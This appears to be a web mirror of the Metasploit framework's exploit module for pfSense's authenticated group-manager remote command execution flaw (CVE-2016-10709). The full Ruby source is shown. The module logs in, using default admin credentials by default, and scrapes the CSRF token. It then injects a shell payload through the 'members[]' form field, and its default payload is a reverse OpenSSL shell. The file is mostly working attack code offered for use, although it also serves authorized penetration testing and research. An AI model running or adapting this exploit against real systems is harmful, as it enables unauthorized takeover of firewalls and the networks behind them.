Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/pfsense_group_member_exec.rb
24989 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'pfSense authenticated group member RCE',
16
'Description' => %q{
17
pfSense, a free BSD based open source firewall distribution,
18
version <= 2.3.1_1 contains a remote command execution
19
vulnerability post authentication in the system_groupmanager.php page.
20
Verified against 2.2.6 and 2.3.
21
},
22
'Author' => [
23
's4squatch', # discovery
24
'h00die' # module
25
],
26
'References' => [
27
[ 'CVE', '2016-10709' ],
28
[ 'EDB', '43128' ],
29
[ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']
30
],
31
'License' => MSF_LICENSE,
32
'Platform' => 'unix',
33
'Privileged' => false,
34
'DefaultOptions' => {
35
'SSL' => true,
36
'PAYLOAD' => 'cmd/unix/reverse_openssl'
37
},
38
'Arch' => [ ARCH_CMD ],
39
'Payload' => {
40
'Compat' =>
41
{
42
'PayloadType' => 'cmd',
43
'RequiredCmd' => 'perl openssl'
44
}
45
},
46
'Targets' => [
47
[ 'Automatic Target', {}]
48
],
49
'DefaultTarget' => 0,
50
'DisclosureDate' => '2017-11-06',
51
'Notes' => {
52
'Reliability' => UNKNOWN_RELIABILITY,
53
'Stability' => UNKNOWN_STABILITY,
54
'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
}
56
)
57
)
58
59
register_options(
60
[
61
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
62
OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),
63
Opt::RPORT(443)
64
], self.class
65
)
66
end
67
68
def login
69
res = send_request_cgi(
70
'uri' => '/index.php',
71
'method' => 'GET'
72
)
73
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
74
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
75
76
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
77
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
78
vprint_status("CSRF Token for login: #{csrf}")
79
80
res = send_request_cgi(
81
'uri' => '/index.php',
82
'method' => 'POST',
83
'vars_post' => {
84
'__csrf_magic' => csrf,
85
'usernamefld' => datastore['USERNAME'],
86
'passwordfld' => datastore['PASSWORD'],
87
'login' => ''
88
}
89
)
90
unless res
91
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
92
end
93
if res.code == 302
94
vprint_status('Successful Authentication')
95
return res.get_cookies
96
else
97
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
98
return nil
99
end
100
end
101
102
def detect_version(cookie)
103
res = send_request_cgi(
104
'uri' => '/index.php',
105
'method' => 'GET',
106
'cookie' => cookie
107
)
108
unless res
109
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
110
end
111
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
112
if version
113
print_status("pfSense Version Detected: #{version}")
114
return Rex::Version.new(version)
115
end
116
# If the device isn't fully setup, you get stuck at redirects to wizard.php
117
# however, this does NOT stop exploitation strangely
118
print_error("pfSens Version Not Detected or wizard still enabled.")
119
Rex::Version.new('0.0')
120
end
121
122
def check
123
begin
124
res = send_request_cgi(
125
'uri' => '/index.php',
126
'method' => 'GET'
127
)
128
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
129
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
130
if /Login to pfSense/ =~ res.body
131
Exploit::CheckCode::Detected
132
else
133
Exploit::CheckCode::Safe
134
end
135
rescue ::Rex::ConnectionError
136
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
137
end
138
end
139
140
def exploit
141
begin
142
cookie = login
143
version = detect_version(cookie)
144
vprint_good('Login Successful')
145
res = send_request_cgi(
146
'uri' => '/system_groupmanager.php',
147
'method' => 'GET',
148
'cookie' => cookie,
149
'vars_get' => {
150
'act' => 'new'
151
}
152
)
153
154
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
155
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
156
vprint_status("CSRF Token for group creation: #{csrf}")
157
158
group_name = rand_text_alpha(10)
159
post_vars = {
160
'__csrf_magic' => csrf,
161
'groupname' => group_name,
162
'description' => '',
163
'members[]' => "0';#{payload.encoded};'",
164
'groupid' => '',
165
'save' => 'Save'
166
}
167
if version >= Rex::Version.new('2.3')
168
post_vars = post_vars.merge('gtype' => 'local')
169
elsif version <= Rex::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
170
post_vars = post_vars.merge(
171
'act' => '',
172
'gtype' => '',
173
'privid' => ''
174
)
175
end
176
send_request_cgi(
177
'uri' => '/system_groupmanager.php',
178
'method' => 'POST',
179
'cookie' => cookie,
180
'vars_post' => post_vars,
181
'vars_get' => {
182
'act' => 'edit'
183
}
184
)
185
print_status("Manual removal of group #{group_name} is required.")
186
rescue ::Rex::ConnectionError
187
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
188
end
189
end
190
end
191
192